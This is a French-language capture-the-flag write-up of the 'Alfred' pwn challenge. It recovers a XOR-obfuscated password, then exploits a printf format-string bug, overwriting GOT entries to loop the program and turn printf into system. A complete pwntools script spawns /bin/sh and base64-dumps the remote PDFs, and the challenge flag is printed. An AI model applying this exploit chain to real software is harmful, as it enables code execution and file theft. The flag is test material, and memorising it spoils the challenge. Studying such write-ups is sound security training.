Protections du binaire :
Canary : ✓
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
Analyse statique du binaire
Voici la fonction main
obtenue avec IDA Pro :
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // esi
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
if ( check_passwd() )
{
v3 = -1;
fwrite("Error: Wrong password.\n", 1u, 0x17u, stderr);
}
else
{
v3 = 0;
todo_scripts();
}
return v3;
}
On y voit deux fonctions : check_passwd
et todo_scripts
.
1re étape : le mot de passe
int check_passwd()
{
unsigned int i; // eax
unsigned int v1; // esi
char v3; // [esp+1h] [ebp-49h]
char s[32]; // [esp+Eh] [ebp-3Ch] BYREF
unsigned int v6; // [esp+2Eh] [ebp-1Ch]
v6 = __readgsdword(0x14u);
for ( i = 0; i < 32; i += 4 )
*(_DWORD *)&s[i] = 0;
puts("Secure script locker made for A.H.");
puts("Enter password to unlock:");
printf(">>> ");
fflush(stdout);
fgets(s, 32, stdin);
v1 = 0;
v3 = x;
s[strlen(s) - 1] = 0;
while ( strlen(s) > v1 )
s[v1++] ^= v3;
return -(memcmp("tYXTjT[QjeTA", s, 0xCu) != 0);
}
La fonction check_passwd
lit une chaîne de 32 caractères depuis stdin
, effectue un XOR sur chaque octet avec une valeur fixe, et compare le résultat avec “tYXTjT[QjeTA”. La clef est stockée dans la variable globale x
.
Cette variable contient initialement la valeur 0x2a (42), mais est modifiée par la fonction _dl_exception_new
, au tout début du programme.
Elf32_Dyn **dl_exception_new()
{
Elf32_Dyn **result; // eax
result = &GLOBAL_OFFSET_TABLE_;
x = 53;
return result;
}
Ainsi, la valeur de la clef de chiffrement est 53.
from pwn import xor
xor(b"tYXTjT[QjeTA", 53) # Alma_and_Pat
On a donc le mot de passe pour accéder à la suite : “Alma_and_Pat”.
2e étape : le coeur du challenge
Bon, le début n’était qu’un échauffement.
unsigned int todo_scripts()
{
char s[128]; // [esp+2h] [ebp-9Ch] BYREF
unsigned int v3; // [esp+82h] [ebp-1Ch]
v3 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
puts("What is your name [Alfred]?:");
printf(">>> ");
fgets(s, 128, stdin);
s[strlen(s) - 1] = 0;
if ( !s[0] )
strcpy(s, "Alfred");
printf("Hello ");
printf(s);
printf(", here are the current scripts:");
putc(10, stdout);
system("ls -1 script*.pdf");
return __readgsdword(0x14u) ^ v3;
}
Cette fonction lit une entrée de 128 caractères, et l’affiche dans un beau printf(s)
. Pas besoin de chercher bien loin, on a une belle format string.
Déroulé de l’attaque
On serait tenté de modifier la commande appelée par system
en “/bin/sh”, mais malheureusement la zone mémoire où est stockée la commande n’est accessible qu’en lecture seule :
gef➤ grep "ls -1 script"
[+] Searching 'ls -1 script' in memory
[+] In '/mnt/c/Users/xavie/Documents/Hackropole/Pwn/Alfred/alfred'(0x804a000-0x804b000), permission=r--
0x804a09c - 0x804a0ad → "ls -1 script*.pdf"
[+] In '/mnt/c/Users/xavie/Documents/Hackropole/Pwn/Alfred/alfred'(0x804b000-0x804c000), permission=r--
0x804b09c - 0x804b0ad → "ls -1 script*.pdf"
Regardons plutôt la GOT, au lancement du programme :
GOT protection: Partial RelRO | GOT functions: 10
[0x804c00c] printf@GLIBC_2.0 → 0x8049036
[0x804c010] fflush@GLIBC_2.0 → 0x8049046
[0x804c014] fgets@GLIBC_2.0 → 0x8049056
[0x804c018] __stack_chk_fail@GLIBC_2.4 → 0x8049066
[0x804c01c] fwrite@GLIBC_2.0 → 0x8049076
[0x804c020] puts@GLIBC_2.0 → 0x8049086
[0x804c024] system@GLIBC_2.0 → 0x8049096
[0x804c028] __libc_start_main@GLIBC_2.0 → 0x80490a6
[0x804c02c] setvbuf@GLIBC_2.0 → 0x80490b6
[0x804c030] putc@GLIBC_2.0 → 0x80490c6
Étant donné qu’on peut modifier les entrées dans la GOT (Partial RelRO), on va pouvoir faire boucler le programme, pour exploiter plusieurs fois la vulnérabilité. On écrira donc l’adresse de todo_scripts
dans l’entrée GOT de putc
.
Maintenant, on va pouvoir écrire plusieurs payloads. L’idée va être de remplacer l’entrée GOT de la fonction printf
par celle de la fonction system
, vu qu’on pourra contrôler son paramètre. En effet, la ligne printf(s)
deviendra alors system(s)
, avec s
notre input.
Enfin, au 3e tour de boucle, il suffira d’entrer “/bin/sh”, et la ligne printf("/bin/sh")
exécutera en réalité system("/bin/sh")
.
Script de résolution
from pwn import *
elf = context.binary = ELF("./alfred")
OFFSET = 7
password = b"Alma_and_Pat"
system_got_value = 0x8049096
todo_scripts_addr = 0x80493e0
system_got_addr = 0x804c024
putc_got_addr = 0x804c030
printf_got_addr = 0x804c00c
fmt1 = fmtstr_payload(offset=OFFSET, writes={putc_got_addr: todo_scripts_addr}, write_size="short")
fmt2 = fmtstr_payload(offset=OFFSET, writes={printf_got_addr: system_got_value}, write_size="short")
p = remote("localhost", 4000)
p.sendlineafter(b">>> ", password)
p.sendlineafter(b">>> ", fmt1)
p.sendlineafter(b">>> ", fmt2)
p.sendline(b"/bin/sh")
p.clean()
p.sendline(b"ls")
list_files = p.clean().decode().split("\n")
info(list_files)
for pdf in list_files[1:-1]:
info(f"Getting {pdf}")
p.sendline(f"base64 {pdf}".encode())
encoded_file = p.clean().decode()
with open(pdf, "wb") as f:
f.write(b64d(encoded_file))
info(f"{pdf} ok")
La fin me permet de récupérer les fichiers pdf, en les affichant en base64, puis en les décodant dans mon PC.
On lit donc le flag dans le fichier “script_flag.pdf”:
FCSC{a80b88dd4d26338e6dfe0f05bc6d33d468863a823a898de152e99cb406df7a08}